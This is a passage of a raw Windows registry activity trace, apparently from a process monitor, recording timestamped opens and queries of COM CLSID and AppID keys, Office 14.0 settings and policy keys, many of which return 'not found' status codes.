CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCHANDLER1012621517,$STATUS,C00000341012621569,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012621615,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012621758,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\LOCALSERVER321012621758,$STATUS,C00000341012621809,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012621849,OPEN,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\LOCALSERVER321012621849,$STATUS,C00000341012621900,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012621952,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012622098,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012622098,$STATUS,C00000341012622146,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019},APPID1012622219,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES1012622267,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES1012622309,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES1012622358,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012622358,$STATUS,C00000341012622448,OPEN,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012622491,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012622545,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012622596,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012622709,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012622709,$STATUS,C00000341012622761,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012622761,$STATUS,C00000341012622841,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012622887,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012623001,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012623001,$STATUS,C00000341012623056,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019},LOCALSERVICE1012623056,$STATUS,C00000341012623144,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012623190,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012623327,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012623327,$STATUS,C00000341012623374,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019},DLLSURROGATE1012623374,$STATUS,C00000341012623463,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012623577,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012623699,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012623699,$STATUS,C00000341012623794,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019},RUNAS1012623794,$STATUS,C00000341012623903,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012623954,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012624061,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012624061,$STATUS,C00000341012624114,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019},ACTIVATEATSTORAGE1012624114,$STATUS,C00000341012624195,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES1012624237,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES1012624348,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES1012624396,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012624396,$STATUS,C00000341012624448,OPEN,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012624488,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012624550,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012624713,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012624713,$STATUS,C00000341012624766,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019},ROTFLAGS1012624766,$STATUS,C00000341012624855,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012624907,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012625016,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012625016,$STATUS,C00000341012625063,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019},APPIDFLAGS1012625063,$STATUS,C00000341012625151,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012625195,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012625313,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012625313,$STATUS,C00000341012625361,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019},MGOTFLAGS1012625361,$STATUS,C00000341012625439,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012625483,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012625601,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012625601,$STATUS,C00000341012625662,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019},PROCESSMITIGATIONPOLICY1012625662,$STATUS,C00000341012625759,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012625803,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012625918,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012625918,$STATUS,C00000341012625980,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019},LAUNCHPERMISSION1012625980,$STATUS,C00000341012626060,QUERY,HKLM,\REGISTRY\MACHINE1012626107,OPEN,HKLM,\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\OLE1012626143,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\OLE,LEGACYAUTHENTICATIONLEVEL1012626143,$STATUS,C00000341012626234,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\OLE,LEGACYIMPERSONATIONLEVEL1012626322,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012626368,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012626487,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012626487,$STATUS,C00000341012626534,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019},AUTHENTICATIONLEVEL1012626534,$STATUS,C00000341012626628,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012626688,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012626819,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012626819,$STATUS,C00000341012626871,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019},REMOTESERVERNAME1012626871,$STATUS,C00000341012626965,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012627016,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012627128,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012627128,$STATUS,C00000341012627179,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019},SRPTRUSTLEVEL1012627179,$STATUS,C00000341012627275,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012627323,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012627448,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012627448,$STATUS,C00000341012627510,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019},PREFERREDSERVERBITNESS1012627510,$STATUS,C00000341012627602,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012627651,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012627778,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012627778,$STATUS,C00000341012627829,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\APPID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019},LOADUSERSETTINGS1012627829,$STATUS,C00000341012628051,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012628109,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012628236,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\LOCALSERVER1012628236,$STATUS,C00000341012628283,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012628330,OPEN,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\LOCALSERVER1012628330,$STATUS,C00000341012628387,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES1012628434,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES1012628475,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES1012628519,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012628519,$STATUS,C00000341012628573,OPEN,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012628617,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012628668,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012628790,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\ELEVATION1012628790,$STATUS,C00000341012628842,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012628880,OPEN,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\ELEVATION1012628880,$STATUS,C00000341012629071,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES1012629121,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES1012629162,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES1012629206,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012629206,$STATUS,C00000341012629261,OPEN,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012629312,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012629358,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012629487,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\TREATAS1012629487,$STATUS,C00000341012629548,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012629587,OPEN,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\TREATAS1012629587,$STATUS,C00000341012634066,OPEN,HKLM,\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE1012634115,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE,PREFEREXTERNALMANIFEST1012634115,$STATUS,C00000341012636824,OPEN,HKLM,\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE\ASSEMBLYSTORAGEROOTS1012636824,$STATUS,C00000341012882203,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-10011012882268,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\POLICIES\MICROSOFT\OFFICE\14.01012882268,$STATUS,C00000341012882334,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-10011012882383,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\MICROSOFT\OFFICE\14.01012882440,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\MICROSOFT\OFFICE\14.01012882480,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON1012882589,QUERYVAL,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON,MSOHEAPINIT1012882589,$STATUS,C00000341012926193,OPEN,HKLM,\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS\TABLET PC\1012926244,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS\TABLET PC,ISTABLETPC1012926936,OPEN,HKLM,\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS\TABLET PC\1012926984,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS\TABLET PC,ISTABLETPC1012928354,QUERY,HKLM,\REGISTRY\MACHINE1012928411,OPEN,HKLM,\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\SECURITY1012928411,$STATUS,C00000341012930769,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES1012930825,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES1012930879,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES1012930934,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012930934,$STATUS,C00000341012930996,OPEN,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012931047,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012931107,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012931227,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\PROGID1012931227,$STATUS,C00000341012931278,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012931321,OPEN,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\PROGID1012931375,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\PROGID1012931432,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\PROGID1012931560,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\PROGID1012931560,$STATUS,C00000341012931615,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\PROGID1012931691,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012931741,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012931870,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\PROGID1012931870,$STATUS,C00000341012931933,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012931970,OPEN,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\PROGID1012932014,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\PROGID1012932068,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\PROGID1012932202,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\PROGID1012932202,$STATUS,C00000341012932252,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\PROGID1012932335,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES1012932388,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES1012932429,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES1012932471,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID1012932515,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID1012932566,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID1012932612,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID1012932651,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012932651,$STATUS,C00000341012932713,OPEN,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012932758,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012932803,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012932933,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012932933,$STATUS,C00000341012932993,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019},INSECUREQI1012932993,$STATUS,C00000341012933719,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-10011012933773,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\MICROSOFT\OFFICE TEST\SPECIAL\PERF1012933773,$STATUS,C00000341012933816,QUERY,HKLM,\REGISTRY\MACHINE1012933866,OPEN,HKLM,\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\OFFICE TEST\SPECIAL\PERF1012933866,$STATUS,C00000341012933920,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-10011012933961,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\POLICIES1012934007,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\POLICIES1012934047,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\POLICIES\MICROSOFT\OFFICE1012934604,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\POLICIES1012934646,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\POLICIES\MICROSOFT\OFFICE\COMMON1012934646,$STATUS,C00000341012934701,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-10011012934748,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\MICROSOFT\OFFICE\COMMON1012934848,QUERYVAL,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\MICROSOFT\OFFICE\COMMON,QMSTRMAX1012934848,$STATUS,C00000341012934958,QUERY,HKLM,\REGISTRY\MACHINE1012935006,OPEN,HKLM,\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\SQMCLIENT1012935057,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\SQMCLIENT,CORPORATESQMURL1012935057,$STATUS,C00000341012935150,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\POLICIES1012935205,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\POLICIES\MICROSOFT\OFFICE\COMMON1012935205,$STATUS,C00000341012935256,QUERYVAL,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\MICROSOFT\OFFICE\COMMON,QMSTUDYID1012935256,$STATUS,C00000341012936665,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\POLICIES1012936716,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SO